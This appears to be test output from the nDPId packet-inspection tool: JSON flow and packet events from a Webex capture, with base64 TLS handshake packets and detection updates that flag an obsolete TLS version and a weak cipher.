+00410{"flow_id":32,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":601,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":373944,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAilAABAGP7k+beB4CggAAQG7x78XaeJ16JYdzFAR\/\/+9KAAA"} +05676{"flow_id":36,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":602,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":676967,"pkt_caplen":3961,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3961,"pkt_l4_len":3927,"pkt":"ABoRAAACABoRAAABCABFAA9rAipAABAGMHU+beB4CggAAQG7x9IaTeD55bIfR1AY\/\/9VLwAAFgMBDz4CAAAtAwFWGmY08WBlVaMiuMkf\/1kPwYrznYnbZP8YRm1BkLyY7wAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01112{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":602,"source":"webex.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":6,"flow_first_seen":1444570669736,"flow_last_seen":1444570670676,"flow_tot_l4_data_len":4110,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":685,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51154,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00407{"flow_id":36,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":603,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":678036,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo0OtAAEAGQPYKCAABPm3geMfSAbvlsh9HGk3wPFAQTE9hhQAA"} +00851{"flow_id":36,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":604,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":728746,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFu0OxAAEAGP68KCAABPm3geMfSAbvlsh9HGk3wPFAYTE+3ZwAAFgMBAQYQAAECAQBcqxtsDTGlipY3CqYvMhYWSR\/8XHHZXEFgKc28Jn+a29M9CnV4bkbE4IMmcB7kQnQHLnsYeOID0oEkbJng69hDFpcijtob8vZi11lJgHyFoDw0mbA\/HPJJ8lx55Bf9SDGt2koX\/heYW5uOytG1uc8PLJo3xUiuujXgCH3djGHUIooxWzxLGe2mFwiaYj6IWa3U+jlNoz3PWvB1g5BwrlViXx9njdhK0Q3aM1CJPxDVCxEafUC4KSpHqwcstTUtOAA8Gi050jeZwIPKWigkS3Em0NBV0ENN6mTmH8ETG4QO3xwLEaxtxz8Ch\/KjfKvst2ZHdf3QDHdrItKtoIOqOwwHFAMBAAEBFgMBADAaALQ2pUk5ebL0fOsBMmvnDjpE9bl5GxXpter9Zsd9\/1uEjoQZJQkgxUVbBb+uhKg="} +00409{"flow_id":36,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":605,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":729666,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAitAABAGP7c+beB4CggAAQG7x9IaTfA85bIgjVAQ\/\/+sjgAA"} +05677{"flow_id":37,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":606,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":730016,"pkt_caplen":3961,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3961,"pkt_l4_len":3927,"pkt":"ABoRAAACABoRAAABCABFAA9rAixAABAGMHM+beB4CggAAQG7x9MtpHMT0luNLVAY\/\/\/JRgAAFgMBDz4CAAAtAwFWGmYzMITHz8pj+nvXObs\/kOYhDg2UDp0EdJOkGpmV8AAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01112{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":606,"source":"webex.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":6,"flow_first_seen":1444570669745,"flow_last_seen":1444570670730,"flow_tot_l4_data_len":4110,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":685,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51155,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00407{"flow_id":37,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":607,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":730757,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoQwVAAEAGztwKCAABPm3geMfTAbvSW40tLaSCVlAQTE9hhAAA"} +00858{"flow_id":37,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":608,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":781382,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuQwZAAEAGzZUKCAABPm3geMfTAbvSW40tLaSCVlAYTE+2\/AAAFgMBAQYQAAECAQCWt0bEGBDiaW3wkbA3O9F3Ig4uidDxRApMSk8+hNZu3nn\/2GHToLO1hDLhQlAUkWRhyw0t1zVFXdxxdkjFz+5r0lkpZkHUszIurP+R8\/miZN4KjtkgXpMas\/So\/iPlXIMc\/yjT4WQBt4gtBtYhmFSppzsDmDIIk7mvfZxHXTD23VSjluF2QBfO2IWqMrFMUF5kLARyx4G2\/8ZjdNECapgOq9cdJsgD5BlcY2c+dHng19\/mYZA2BSxtQAyOT54Ghdr77MsgQiN2Llu3v+LZWpM+Zbvdg4hXwk\/BShSPoskiySh9VLMF\/nq+MGssfcSvrol76Im5W9PG\/DQIxfUY9d4FFAMBAAEBFgMBADBxLGEx28Qy59TtwMgeCKhDXvKFs7ZrkHvDe4Wu\/kgdVZQLIXwlg8iFIVwJQqhI6Xs="} +00409{"flow_id":37,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":609,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":782112,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAi1AABAGP7U+beB4CggAAQG7x9MtpIJW0luOc1AQ\/\/+sjQAA"} 